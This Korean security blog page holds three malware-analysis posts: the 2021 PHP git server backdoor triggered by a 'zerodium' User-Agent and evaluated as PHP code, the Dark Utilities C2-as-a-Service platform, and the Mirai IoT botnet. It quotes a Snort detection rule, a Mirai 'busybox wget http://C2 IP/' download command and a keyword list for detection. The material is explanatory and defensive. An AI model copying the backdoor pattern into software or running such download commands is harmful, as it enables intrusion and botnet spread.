1. 개요

- 2021.03.28 PHP의 Git 서버(git.php.net)에 백도어를 심어 PHP 개발자들이 악성 서비스 및 앱을 개발하도록 유도

- 감염된 코드로 웹 사이트를 만들었다면, 공격자들은 백도어를 통해 침투 및 임의의 명령을 실행 가능

- 재빨리 발견되어 조치가 취해짐 > 정상적인 코드로 롤백

- git.php.net 서버 폐기 후 GitHub 저장소로 프로젝트를 이전 조치

 

2. 공급망 공격 (Value-Chain Attack)

- 서드파티 공격(Third Party Attack) 공격이라고도 불림

- 유통 및 공급 과정을 이용한 공격 유형

- 자사의 시스템 및 데이터에 접속할 수 있는 외부 협력업체나 공급업체를 통해 누군가가 시스템에 침투할 때 발생

- 자체적으로 새로운 기술을 개발하지 않고 오픈 소스나 아웃 소싱, 또는 프리랜서 등을 통해 만들어진 소프트웨어를 사용하는 추세

- 만약, 만들어진 소프트웨어 등이 감염된 리소스를 통해 개발이 되었고, 이에 대한 적절성, 무결성 확인 없이 배포할 경우 악성코드가 존재한 상태로 사용자들에게 배포

- ​공격이 시작되기 전 감염 사실을 알기 어렵고, 일시에 대규모의 사용자가 동시에 피해를 볼 수 있는 특징이 있음

 

2.1 공격 흐름

① 해커는 먼저 공급 업체의 시스템을 장악한 후, 인증서를 탈취하거나 코드 패치, 업데이트 모듈 위장 등의 방식으로 악성코드를 업로드
② 악성코드는 정상 파일로 위장되어 배포되고, 이를 내려받은 다수의 사용자와 서버가 악성코드에 감염
③ 해커는 해당 서버들을 거점으로 이용해 공격 영역을 확대

 

3. 분석

- php-src 리포지터리에 두 개의 악성 커밋(commit)이 삽입
- PHP 개발자 니키타 포포브(Nikita Popov)와 라스무스 레르도프(Rasmus Lerdorf)의 이름을 도용해 유포
- 타이포그래피 에러 수정을 위한 것처럼 위장되어 배포되었으나, 백도어 기능이 포함된 악성 코드

 

[사진 1] 삽입된 악성코드

- [사진 1]은 악성코드(백도어)를 포함하여 유포된 zlib.c의 일부

- User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 해당 값을 그대로 PHP를 통해 실행

- zend_eval_string()는  PHP 코드를 그대로 실행시키는 함수

 

4. 대응방안

4.1 서버측 대응

① PHP Git 서버에서 받은 소스 중 zerodium 존재 여부 확인

 

4.2 네트워크측 대응

① User-Agent 헤더 값이 zerodium인 경우 탐지

- 해당 백도어는 User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 PHP 코드를 실행

alert tcp any any -> any any (msg:"Zerodium Backdoor"; flow:established; pcre:"/User-Agent\:[^\n]+zerodium/i";)

 

5. 참고

https://news-web.php.net/php.internals/113838

https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/

https://github.com/php/php-src/blob/master/ext/zlib/zlib.c

https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370 

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
C2aaS(C2-as-a-Service)  (0) 2022.11.19
IoT Mirai 악성코드 분석  (0) 2022.11.11

1. 개요

- 2022년 08월경 새로운 범죄 서비스 발견

- 다크 유틸리티(Dark Utilities) : 사이버 공격을 할 때 사용되는 C2(Command & Control) 서버를 쉽게 준비해주는 서비스

- 다크 유틸리티는 2022년 초 확립된 C2aaS(C2-as-a-Service) 모델 C2 플랫폼

- 비용은 9.99유로이며 등록자수는 3,000명 정도로 예상

 

2. 기능

- 사용자 인증을 위해 Discord를 활용

- 인증 후 플랫폼, 서버 상태 및 기타 지표에 대한 다양한 통계를 표시하는 대시보드가 ​​사용자에게 제공

[사진 1] 대시보드 (출처 : https://blog.talosintelligence.com/dark-utilities/)

- 공격자는 개발 리소스를 할당하지 않고도 여러 아키텍처를 대상으로 할 수 있음

- 피해자 시스템에서 실행되는 코드로 이뤄진 페이로드를 제공

- 피해자 시스템을 서비스에 등록해 C2 통신 채널을 설정 (C2 서버 통신 채널 구현과 관련된 자세한 정보를 제공)

- Windows, Linux 및 Python 기반 페이로드를 지원

[사진 2] OS 및 Command 선택 (출처 : https://blog.talosintelligence.com/dark-utilities/)

- C2 서버를 통해 공격자가 외부에서 악성코드를 제어하고 명령을 내리며, 새 페이로드를 보내는 것은 물론 감염시킨 PC나 서버에서 수집된 데이터를 수신

- 원격 시스템 액세스, DDoS 기능, 암호화폐 채굴 등도 제공

 

3. 대응

① 보안 솔수션 도입

- Endpoint, FW, Email 등 보안 솔루션 후 모니터링

- Snort 정책 적용 : 적용할 수 있는 Snort SID는 60319 ~ 60325

 

② IoC 침해지표 활용

- 확인된 Hash 및 URL 등을 보안 솔루션에 적용하여 탐지 및 차단 적용

 

4. 참고

 

Attackers leveraging Dark Utilities "C2aaS" platform in malware campaigns

By Edmund Brumaghin, Azim Khodjibaev and Matt Thaxton, with contributions from Arnaud Zobec. Executive Summary * Dark Utilities, released in early 2022, is a platform that provides full-featured C2 capabilities to adversaries. * It is marketed as a means t

blog.talosintelligence.com

 

 

GitHub - Cisco-Talos/IOCs: Indicators of Compromise

Indicators of Compromise. Contribute to Cisco-Talos/IOCs development by creating an account on GitHub.

github.com

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
IoT Mirai 악성코드 분석  (0) 2022.11.11

1. 개요

[그림 1] Mirai (출처 : 해시넷)

타임라인 설명
2016.09.13 - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18 - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30 - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개
- 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21 - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단)
- Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비

- 웜 계열의 DDoS 공격 유발 악성코드

- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드

감염 대상 설명
IoT 기기 - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용
- 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐
- 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.

* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위

- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포

기능 설명
스캔 - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용
- 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파 - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복
- 감염 장비를 확보함으로써 봇넷 형성

* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음
- 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- 명령 예제 : busybox wget http://C2 IP/
DDoS - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행
- HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지 - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지
- 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함

※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타 - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능
- 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행
- GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음
- 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼

 

2. 분석

 

GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

Leaked Mirai Source Code for Research/IoC Development Purposes - GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

github.com

[그림 2] 동작 원리

- Mirai의 동작원리는 [그림 2] 및 다음과 같음

① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행

 

① 스캔

- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재

[그림 3] 랜덤 목적지 IP 설정

 

- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정

[그림 4] 랜덤 Src Port 생성 및 Dst Port 23

 

- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼

- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측

[그림 5] 62개의 계정으로 접속 시도

 

② 악성코드 유포

[그림 6] 악성코드 유포

- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입

- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행

- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재

[그림 7] busybox

 

③ 감염

- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨

- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재

- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴

[그림 8] watchdog 비활성화

- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정

[그림 9] 프로세스 종료

 

④ 유포

- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복

 

⑤ 봇넷 형성

- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성

- 이후 C2 서버 명령 대기

 

⑥ DDoS

[그림 10] DDoS 공격

- Bot Net을 통해 대상 서버에 DDoS 공격을 수행 

프로토콜 종류
TCP SYN, RST, FIN, ACK, PSH Flooding
UDP DNS, ICMP, VSE Flooding
HTTP GET, POST, HEAD Flooding
GRE GRE Flooding

 

3. 대응 방안

[그림 11] shodan port:23

- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표

- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음

- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요

 

3.1 네트워크 측면

① 네트워크 연결 차단

② 포트 점검 및 모니터링

③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링

 

3.2 사용자 측면

① 초기 ID/PW를 사용하지않고 변경하여 사용

② IoT 기기의 최신 업데이트 적용 및 보안성 점검

 

3.3 기타

① IoT 기기 초기화

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

+ Recent posts